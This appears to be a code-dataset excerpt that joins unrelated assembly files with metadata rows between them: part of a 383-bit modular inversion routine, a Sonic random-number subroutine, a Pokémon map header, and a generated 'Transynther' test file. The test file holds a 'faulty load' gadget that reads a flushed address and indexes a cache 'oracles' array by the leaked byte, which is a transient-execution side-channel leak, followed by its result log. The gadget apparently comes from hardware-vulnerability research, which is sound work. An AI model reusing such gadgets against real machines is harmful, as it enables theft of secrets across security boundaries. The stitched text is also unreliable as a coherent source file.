lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_191_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_191_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_191_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_191_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_191_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_191_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,55
mov r8,QWORD PTR[rsi]
mov r10,QWORD PTR[48+rsi]
call __inner_loop_62
lea rsi,QWORD PTR[96+rsi]
mov rdx,r12
mov rcx,r13
mov rdi,QWORD PTR[32+rsp]
call __smulx_767x63
mov rsi,QWORD PTR[40+rsp]
mov rdx,rax
sar rax,63
mov r8,rax
mov r9,rax
mov r10,rax
and r8,QWORD PTR[rsi]
and r9,QWORD PTR[8+rsi]
mov r11,rax
and r10,QWORD PTR[16+rsi]
and r11,QWORD PTR[24+rsi]
mov r12,rax
and r12,QWORD PTR[32+rsi]
and rax,QWORD PTR[40+rsi]
add r14,r8
adc r15,r9
adc rbx,r10
adc rbp,r11
adc rcx,r12
adc rdx,rax
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
mov QWORD PTR[64+rdi],rbx
mov QWORD PTR[72+rdi],rbp
mov QWORD PTR[80+rdi],rcx
mov QWORD PTR[88+rdi],rdx
lea r8,QWORD PTR[1112+rsp]
mov r15,QWORD PTR[r8]
mov r14,QWORD PTR[8+r8]
mov r13,QWORD PTR[16+r8]
mov r12,QWORD PTR[24+r8]
mov rbx,QWORD PTR[32+r8]
mov rbp,QWORD PTR[40+r8]
lea rsp,QWORD PTR[48+r8]
$L$SEH_epilogue_ctx_inverse_mod_383::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_ctx_inverse_mod_383::
ctx_inverse_mod_383 ENDP
ALIGN 32
__smulx_767x63 PROC PRIVATE
DB 243,15,30,250
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
mov rax,rdx
sar rax,63
xor rbp,rbp
sub rbp,rax
mov QWORD PTR[8+rsp],rdi
mov QWORD PTR[16+rsp],rsi
lea rsi,QWORD PTR[48+rsi]
xor rdx,rax
add rdx,rbp
xor r8,rax
xor r9,rax
xor r10,rax
xor r11,rax
xor r12,rax
xor rax,r13
add r8,rbp
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc rax,0
mulx rbp,r8,r8
mulx r13,r9,r9
add r9,rbp
mulx rbp,r10,r10
adc r10,r13
mulx r13,r11,r11
adc r11,rbp
mulx rbp,r12,r12
adc r12,r13
adc rbp,0
imul rdx
add rax,rbp
adc rdx,0
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],rax
mov QWORD PTR[48+rdi],rdx
sar rdx,63
mov QWORD PTR[56+rdi],rdx
mov rdx,rcx
mov rax,rcx
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
mov r14,QWORD PTR[48+rsi]
mov r15,QWORD PTR[56+rsi]
mov rbx,QWORD PTR[64+rsi]
mov rbp,QWORD PTR[72+rsi]
mov rcx,QWORD PTR[80+rsi]
mov rdi,QWORD PTR[88+rsi]
sar rax,63
xor rsi,rsi
sub rsi,rax
xor rdx,rax
add rdx,rsi
xor r8,rax
xor r9,rax
xor r10,rax
xor r11,rax
xor r12,rax
xor r13,rax
xor r14,rax
xor r15,rax
xor rbx,rax
xor rbp,rax
xor rcx,rax
xor rdi,rax
add r8,rsi
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc r13,0
adc r14,0
adc r15,0
adc rbx,0
adc rbp,0
adc rcx,0
adc rdi,0
mulx rax,r8,r8
mulx rsi,r9,r9
add r9,rax
mulx rax,r10,r10
adc r10,rsi
mulx rsi,r11,r11
adc r11,rax
mulx rax,r12,r12
adc r12,rsi
mulx rsi,r13,r13
adc r13,rax
mulx rax,r14,r14
adc r14,rsi
mulx rsi,r15,r15
adc r15,rax
mulx rax,rbx,rbx
adc rbx,rsi
mulx rsi,rbp,rbp
adc rbp,rax
mulx rax,rcx,rcx
adc rcx,rsi
mulx rsi,rdi,rdi
mov rdx,QWORD PTR[8+rsp]
mov rsi,QWORD PTR[16+rsp]
adc rax,rdi
add r8,QWORD PTR[rdx]
adc r9,QWORD PTR[8+rdx]
adc r10,QWORD PTR[16+rdx]
adc r11,QWORD PTR[24+rdx]
adc r12,QWORD PTR[32+rdx]
adc r13,QWORD PTR[40+rdx]
adc r14,QWORD PTR[48+rdx]
mov rdi,QWORD PTR[56+rdx]
adc r15,rdi
adc rbx,rdi
adc rbp,rdi
adc rcx,rdi
adc rax,rdi
mov rdi,rdx
mov QWORD PTR[rdx],r8
mov QWORD PTR[8+rdx],r9
mov QWORD PTR[16+rdx],r10
mov QWORD PTR[24+rdx],r11
mov QWORD PTR[32+rdx],r12
mov QWORD PTR[40+rdx],r13
mov QWORD PTR[48+rdx],r14
mov QWORD PTR[56+rdx],r15
mov QWORD PTR[64+rdx],rbx
mov QWORD PTR[72+rdx],rbp
mov QWORD PTR[80+rdx],rcx
mov QWORD PTR[88+rdx],rax
DB 0F3h,0C3h ;repret
__smulx_767x63 ENDP
ALIGN 32
__smulx_383x63 PROC PRIVATE
DB 243,15,30,250
mov r8,QWORD PTR[((0+0))+rsi]
mov r9,QWORD PTR[((0+8))+rsi]
mov r10,QWORD PTR[((0+16))+rsi]
mov r11,QWORD PTR[((0+24))+rsi]
mov r12,QWORD PTR[((0+32))+rsi]
mov r13,QWORD PTR[((0+40))+rsi]
mov rbp,rdx
sar rbp,63
xor rax,rax
sub rax,rbp
xor rdx,rbp
add rdx,rax
xor r8,rbp
xor r9,rbp
xor r10,rbp
xor r11,rbp
xor r12,rbp
xor r13,rbp
add r8,rax
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc r13,0
mulx rbp,r8,r8
mulx rax,r9,r9
add r9,rbp
mulx rbp,r10,r10
adc r10,rax
mulx rax,r11,r11
adc r11,rbp
mulx rbp,r12,r12
adc r12,rax
mulx rax,r13,r13
mov rdx,rcx
adc r13,rbp
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
mov r8,QWORD PTR[((48+0))+rsi]
mov r9,QWORD PTR[((48+8))+rsi]
mov r10,QWORD PTR[((48+16))+rsi]
mov r11,QWORD PTR[((48+24))+rsi]
mov r12,QWORD PTR[((48+32))+rsi]
mov r13,QWORD PTR[((48+40))+rsi]
mov rbp,rdx
sar rbp,63
xor rax,rax
sub rax,rbp
xor rdx,rbp
add rdx,rax
xor r8,rbp
xor r9,rbp
xor r10,rbp
xor r11,rbp
xor r12,rbp
xor r13,rbp
add r8,rax
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc r13,0
mulx rbp,r8,r8
mulx rax,r9,r9
add r9,rbp
mulx rbp,r10,r10
adc r10,rax
mulx rax,r11,r11
adc r11,rbp
mulx rbp,r12,r12
adc r12,rax
mulx rax,r13,r13
adc r13,rbp
add r8,QWORD PTR[rdi]
adc r9,QWORD PTR[8+rdi]
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc r13,QWORD PTR[40+rdi]
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
DB 0F3h,0C3h ;repret
__smulx_383x63 ENDP
ALIGN 32
__smulx_383_n_shift_by_31 PROC PRIVATE
DB 243,15,30,250
mov rbx,rdx
xor r14,r14
mov r8,QWORD PTR[((0+0))+rsi]
mov r9,QWORD PTR[((0+8))+rsi]
mov r10,QWORD PTR[((0+16))+rsi]
mov r11,QWORD PTR[((0+24))+rsi]
mov r12,QWORD PTR[((0+32))+rsi]
mov r13,QWORD PTR[((0+40))+rsi]
mov rax,rdx
sar rax,63
xor rbp,rbp
sub rbp,rax
xor rdx,rax
add rdx,rbp
xor r8,rax
xor r9,rax
xor r10,rax
xor r11,rax
xor r12,rax
xor rax,r13
add r8,rbp
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc rax,0
mulx rbp,r8,r8
mulx r13,r9,r9
add r9,rbp
mulx rbp,r10,r10
adc r10,r13
mulx r13,r11,r11
adc r11,rbp
mulx rbp,r12,r12
adc r12,r13
adc rbp,0
imul rdx
add rax,rbp
adc r14,rdx
mov rdx,rcx
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],rax
mov r8,QWORD PTR[((48+0))+rsi]
mov r9,QWORD PTR[((48+8))+rsi]
mov r10,QWORD PTR[((48+16))+rsi]
mov r11,QWORD PTR[((48+24))+rsi]
mov r12,QWORD PTR[((48+32))+rsi]
mov r13,QWORD PTR[((48+40))+rsi]
mov rax,rdx
sar rax,63
xor rbp,rbp
sub rbp,rax
xor rdx,rax
add rdx,rbp
xor r8,rax
xor r9,rax
xor r10,rax
xor r11,rax
xor r12,rax
xor rax,r13
add r8,rbp
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc rax,0
mulx rbp,r8,r8
mulx r13,r9,r9
add r9,rbp
mulx rbp,r10,r10
adc r10,r13
mulx r13,r11,r11
adc r11,rbp
mulx rbp,r12,r12
adc r12,r13
adc rbp,0
imul rdx
add rax,rbp
adc rdx,0
add r8,QWORD PTR[rdi]
adc r9,QWORD PTR[8+rdi]
adc r10,QWORD PTR[16+rdi]
adc r11,QWORD PTR[24+rdi]
adc r12,QWORD PTR[32+rdi]
adc rax,QWORD PTR[40+rdi]
adc r14,rdx
mov rdx,rbx
shrd r8,r9,31
shrd r9,r10,31
shrd r10,r11,31
shrd r11,r12,31
shrd r12,rax,31
shrd rax,r14,31
sar r14,63
xor rbp,rbp
sub rbp,r14
xor r8,r14
xor r9,r14
xor r10,r14
xor r11,r14
xor r12,r14
xor rax,r14
add r8,rbp
adc r9,0
adc r10,0
adc r11,0
adc r12,0
adc rax,0
mov QWORD PTR[rdi],r8
mov QWORD PTR[8+rdi],r9
mov QWORD PTR[16+rdi],r10
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],rax
xor rdx,r14
xor rcx,r14
add rdx,rbp
add rcx,rbp
DB 0F3h,0C3h ;repret
__smulx_383_n_shift_by_31 ENDP
ALIGN 32
__smulx_191_n_shift_by_31 PROC PRIVATE
DB 243,15,30,250
mov rbx,rdx
mov r8,QWORD PTR[((0+0))+rsi]
mov r9,QWORD PTR[((0+8))+rsi]
mov r10,QWORD PTR[((0+16))+rsi]
mov rax,rdx
sar rax,63
xor rbp,rbp
sub rbp,rax
xor rdx,rax
add rdx,rbp
xor r8,rax
xor r9,rax
xor rax,r10
add r8,rbp
adc r9,0
adc rax,0
mulx rbp,r8,r8
mulx r10,r9,r9
add r9,rbp
adc r10,0
imul rdx
add r10,rax
adc rdx,0
mov r14,rdx
mov rdx,rcx
mov r11,QWORD PTR[((48+0))+rsi]
mov r12,QWORD PTR[((48+8))+rsi]
mov r13,QWORD PTR[((48+16))+rsi]
mov rax,rdx
sar rax,63
xor rbp,rbp
sub rbp,rax
xor rdx,rax
add rdx,rbp
xor r11,rax
xor r12,rax
xor rax,r13
add r11,rbp
adc r12,0
adc rax,0
mulx rbp,r11,r11
mulx r13,r12,r12
add r12,rbp
adc r13,0
imul rdx
add r13,rax
adc rdx,0
add r11,r8
adc r12,r9
adc r13,r10
adc r14,rdx
mov rdx,rbx
shrd r11,r12,31
shrd r12,r13,31
shrd r13,r14,31
sar r14,63
xor rbp,rbp
sub rbp,r14
xor r11,r14
xor r12,r14
xor r13,r14
add r11,rbp
adc r12,0
adc r13,0
mov QWORD PTR[rdi],r11
mov QWORD PTR[8+rdi],r12
mov QWORD PTR[16+rdi],r13
xor rdx,r14
xor rcx,r14
add rdx,rbp
add rcx,rbp
DB 0F3h,0C3h ;repret
__smulx_191_n_shift_by_31 ENDP
ALIGN 32
__ab_approximation_31 PROC PRIVATE
DB 243,15,30,250
mov r9,QWORD PTR[40+rsi]
mov r11,QWORD PTR[88+rsi]
mov rbx,QWORD PTR[32+rsi]
mov rbp,QWORD PTR[80+rsi]
mov r8,QWORD PTR[24+rsi]
mov r10,QWORD PTR[72+rsi]
mov rax,r9
or rax,r11
cmovz r9,rbx
cmovz r11,rbp
cmovz rbx,r8
mov r8,QWORD PTR[16+rsi]
cmovz rbp,r10
mov r10,QWORD PTR[64+rsi]
mov rax,r9
or rax,r11
cmovz r9,rbx
cmovz r11,rbp
cmovz rbx,r8
mov r8,QWORD PTR[8+rsi]
cmovz rbp,r10
mov r10,QWORD PTR[56+rsi]
mov rax,r9
or rax,r11
cmovz r9,rbx
cmovz r11,rbp
cmovz rbx,r8
mov r8,QWORD PTR[rsi]
cmovz rbp,r10
mov r10,QWORD PTR[48+rsi]
mov rax,r9
or rax,r11
cmovz r9,rbx
cmovz r11,rbp
cmovz rbx,r8
cmovz rbp,r10
mov rax,r9
or rax,r11
bsr rcx,rax
lea rcx,QWORD PTR[1+rcx]
cmovz r9,rbx
cmovz r11,rbp
cmovz rcx,rax
neg rcx
shld r9,rbx,cl
shld r11,rbp,cl
mov rcx,r9
or rcx,r11
sar rcx,63
and ecx,33
shr r9,cl
shr r11,cl
shl r8,cl
shl r10,cl
shrd r8,r9,cl
shrd r10,r11,cl
jmp __inner_loop_31
DB 0F3h,0C3h ;repret
__ab_approximation_31 ENDP
ALIGN 32
__inner_loop_31 PROC PRIVATE
DB 243,15,30,250
mov rcx,07FFFFFFF80000000h
mov r13,0800000007FFFFFFFh
mov r15,07FFFFFFF7FFFFFFFh
$L$oop_31::
cmp r8,r10
mov rax,r8
mov rbx,r10
mov rbp,rcx
mov r14,r13
cmovb r8,r10
cmovb r10,rax
cmovb rcx,r13
cmovb r13,rbp
sub r8,r10
sub rcx,r13
add rcx,r15
test rax,1
cmovz r8,rax
cmovz r10,rbx
cmovz rcx,rbp
cmovz r13,r14
shr r8,1
add r13,r13
sub r13,r15
sub edi,1
jnz $L$oop_31
shr r15,32
mov edx,ecx
mov r12d,r13d
shr rcx,32
shr r13,32
sub rdx,r15
sub rcx,r15
sub r12,r15
sub r13,r15
DB 0F3h,0C3h ;repret
__inner_loop_31 ENDP
ALIGN 32
__inner_loop_62 PROC PRIVATE
DB 243,15,30,250
mov rdx,1
xor rcx,rcx
xor r12,r12
mov r13,1
$L$oop_62::
xor rax,rax
test r8,1
mov rbx,r10
cmovnz rax,r10
sub rbx,r8
mov rbp,r8
sub r8,rax
cmovc r8,rbx
cmovc r10,rbp
mov rax,rdx
cmovc rdx,r12
cmovc r12,rax
mov rbx,rcx
cmovc rcx,r13
cmovc r13,rbx
xor rax,rax
xor rbx,rbx
shr r8,1
test rbp,1
cmovnz rax,r12
cmovnz rbx,r13
add r12,r12
add r13,r13
sub rdx,rax
sub rcx,rbx
sub edi,1
jnz $L$oop_62
DB 0F3h,0C3h ;repret
__inner_loop_62 ENDP
.text$ ENDS
.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_ctx_inverse_mod_383
DD imagerel $L$SEH_body_ctx_inverse_mod_383
DD imagerel $L$SEH_info_ctx_inverse_mod_383_prologue
DD imagerel $L$SEH_body_ctx_inverse_mod_383
DD imagerel $L$SEH_epilogue_ctx_inverse_mod_383
DD imagerel $L$SEH_info_ctx_inverse_mod_383_body
DD imagerel $L$SEH_epilogue_ctx_inverse_mod_383
DD imagerel $L$SEH_end_ctx_inverse_mod_383
DD imagerel $L$SEH_info_ctx_inverse_mod_383_epilogue
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_ctx_inverse_mod_383_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_ctx_inverse_mod_383_body::
DB 1,0,18,0
DB 000h,0f4h,08bh,000h
DB 000h,0e4h,08ch,000h
DB 000h,0d4h,08dh,000h
DB 000h,0c4h,08eh,000h
DB 000h,034h,08fh,000h
DB 000h,054h,090h,000h
DB 000h,074h,092h,000h
DB 000h,064h,093h,000h
DB 000h,001h,091h,000h
$L$SEH_info_ctx_inverse_mod_383_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
.xdata ENDS
END
| 17.53529 | 53 | 0.716749 |
6e2e875a222a0142369769353897d2f28660b187 | 605 | asm | Assembly | _incObj/sub RandomNumber.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 9 | 2021-01-15T13:47:53.000Z | 2022-01-17T15:33:55.000Z | _incObj/sub RandomNumber.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 7 | 2021-01-14T02:18:48.000Z | 2021-03-24T15:44:30.000Z | _incObj/sub RandomNumber.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 2 | 2021-01-14T13:14:26.000Z | 2021-01-29T17:46:04.000Z | ; ---------------------------------------------------------------------------
; Subroutine to generate a pseudo-random number in d0
; ---------------------------------------------------------------------------
; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
RandomNumber:
move.l (v_random).w,d1
bne.s @scramble ; if d1 is not 0, branch
move.l #$2A6D365A,d1 ; if d1 is 0, use seed number
@scramble:
move.l d1,d0
asl.l #2,d1
add.l d0,d1
asl.l #3,d1
add.l d0,d1
move.w d1,d0
swap d1
add.w d1,d0
move.w d0,d1
swap d1
move.l d1,(v_random).w
rts | 24.2 | 77 | 0.409917 |
3495b785da9cf085f2680036465fb0db755075f1 | 165 | asm | Assembly | data/maps/headers/Route20.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | 1 | 2022-02-15T00:19:44.000Z | 2022-02-15T00:19:44.000Z | data/maps/headers/Route20.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null | data/maps/headers/Route20.asm | opiter09/ASM-Machina | 75d8e457b3e82cc7a99b8e70ada643ab02863ada | [
"CC0-1.0"
] | null | null | null |
map_header Route20, ROUTE_20, OVERWORLD, WEST | EAST
connection west, CinnabarIsland, CINNABAR_ISLAND, 0
connection east, Route19, ROUTE_19, -18
end_map_header
| 27.5 | 53 | 0.793939 |
f571b8950980019eca70bb5536a54b04539c5dd3 | 5,284 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_245.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_245.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0xca_notsx.log_21829_245.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %r8
push %rax
push %rbp
push %rsi
lea addresses_WC_ht+0x172b5, %rsi
nop
cmp %r11, %r11
movl $0x61626364, (%rsi)
nop
nop
nop
nop
xor %r8, %r8
lea addresses_WC_ht+0x86cd, %rax
nop
nop
nop
nop
xor $2860, %rbp
mov (%rax), %r12
nop
add $62547, %r8
pop %rsi
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %rax
push %rdi
push %rdx
// Load
lea addresses_A+0x437d, %r11
clflush (%r11)
nop
nop
nop
xor %r10, %r10
vmovups (%r11), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rdi
sub $33316, %rax
// Load
lea addresses_WC+0x14b2d, %r12
sub $46028, %rdx
mov (%r12), %r13
xor %r12, %r12
// Store
lea addresses_D+0x1334d, %r10
nop
nop
nop
nop
and $31618, %rax
mov $0x5152535455565758, %r11
movq %r11, %xmm1
movups %xmm1, (%r10)
nop
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_WT+0x15d4d, %rax
dec %r10
movb $0x51, (%rax)
lfence
// Faulty Load
lea addresses_D+0x1334d, %r10
xor $5654, %rdx
mov (%r10), %edi
lea oracles, %r12
and $0xff, %rdi
shlq $12, %rdi
mov (%r12,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rax
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 44.403361 | 2,999 | 0.653861 |
61bc25b34ea7f8714b6b9ca36db10fe95a735300 | 835 | asm | Assembly | src/no-cd_nyer.asm | mvdhout1992/ts-patches | a426970abeb6993eea6703d1a756fd74489ffed2 | [
"MIT"
